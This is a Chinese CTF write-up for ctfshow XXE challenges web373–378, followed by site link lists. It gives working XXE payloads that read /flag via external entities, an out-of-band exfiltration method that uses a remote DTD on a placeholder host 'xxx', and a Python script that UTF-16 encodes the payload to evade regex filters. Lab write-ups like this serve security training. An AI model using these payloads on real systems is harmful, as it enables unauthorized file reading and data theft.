ctfshow xxe web373-378

web373 

libxml_disable_entity_loader(false):这行代码用于启用实体加载器,允许加载外部实体。

$xmlfile = file_get_contents('php://input'):从输入流中读取XML数据并存储在 $xmlfile 变量中。

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD):加载XML数据到 DOMDocument 对象中,并设置选项 LIBXML_NOENT 和 LIBXML_DTDLOAD,这些选项用于控制XML解析器的行为。

$creds = simplexml_import_dom($dom):将 DOMDocument 对象转换为 SimpleXMLElement 对象。

$ctfshow = $creds->ctfshow;:从 XML 数据中获取名为 ctfshow 的元素的值。

burpsuite抓包发送

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
 

forword

web374-376

这题没有回显,可以使用外带数据通道提取数据

一个dtd文件在本地服务器上

在写一个get.php文件接收数据

抓包输入

 

我们需要获得当前目录下的flag数据,然后在本地服务器创建的dtd文件(创建与我们的服务器的联系),最后一个%send将实体解析,于是在题目的服务器下,将/flag文件里的数据通过实体%file通过get传参传入了get.php文件中并执行,于是触发命令,在本地服务器建立flag.txt并将flag写入了其中

web 375

和上一题相比,这一题过滤了版本号,不写就可以,和上一题方法一样。

web 376

也是过滤了版本号,同上

web 377

这题在过滤了版本的基础上还过滤了http头

关于xml解析器:
XML解析器通常可以解析多种编码形式的XML文档,其中一些常见的编码包括:


UTF-8:这是最常见的编码形式,也是许多XML文档默认使用的编码。
UTF-16:XML文档也可以使用UTF-16编码。
ISO-8859-1(Latin-1):虽然不常见,但XML解析器通常也能够解析使用ISO-8859-1编码的XML文档。
其他:除了上述常见的编码形式之外,XML解析器还可能支持其他一些编码形式,如UTF-32等。
通常情况下,XML解析器能够根据XML文档中的声明或者特征来确定文档所使用的编码形式,从而正确解析文档内容。

正则表达式通常是针对ASCII字符编写的,而不是针对Unicode字符编写的。
UTF-16编码使得每个字符占用两个字节,这可能会使得某些正则表达式检测不到字符串中的特定模式,因为正则表达式可能只检查单个字节或特定的字节序列。

因此可以更改编码方式过后,我们就可以绕过简单的正则表达式

构造post传参:

import requests
 
url = 'http://8b8a3d03-40d2-4131-a046-710f0cd40dbd.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""
 
requests.post(url ,data=data.encode('utf-16'))
print("done!")
 

web 378

随便输入看到有回显

抓包

111改成&xxe; 、前面加上:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
[POST]Payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>$xxe;</password></user>

相关推荐

  1. Leetcode 377 组合总和 Ⅳ

    2024-03-31 00:16:01       46 阅读
  2. 377. 组合总和 Ⅳ

    2024-03-31 00:16:01       41 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-31 00:16:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-31 00:16:01       101 阅读
  3. 在Django里面运行非项目文件

    2024-03-31 00:16:01       82 阅读
  4. Python语言-面向对象

    2024-03-31 00:16:01       91 阅读

热门阅读

  1. 实现元素水平垂直居中的方法

    2024-03-31 00:16:01       44 阅读
  2. SpringBoot -- 错误处理机制

    2024-03-31 00:16:01       44 阅读
  3. vue3从精通到入门1: vue3特点以及与vue2的区别

    2024-03-31 00:16:01       41 阅读
  4. 面试宝典:深入分析golang 的反射(reflect)

    2024-03-31 00:16:01       36 阅读
  5. 深入Python元编程:从基础到实践

    2024-03-31 00:16:01       39 阅读
  6. 面试题库二

    2024-03-31 00:16:01       45 阅读
  7. 蓝桥杯刷题记录之蓝桥王国

    2024-03-31 00:16:01       45 阅读
  8. C/C++ ② —— C++11智能指针

    2024-03-31 00:16:01       35 阅读
  9. 【前端学习——css篇】3.隐藏元素的方法

    2024-03-31 00:16:01       35 阅读
  10. C++蓝桥考级一级到十八级的考点内容整理

    2024-03-31 00:16:01       40 阅读
  11. js教程(10)

    2024-03-31 00:16:01       44 阅读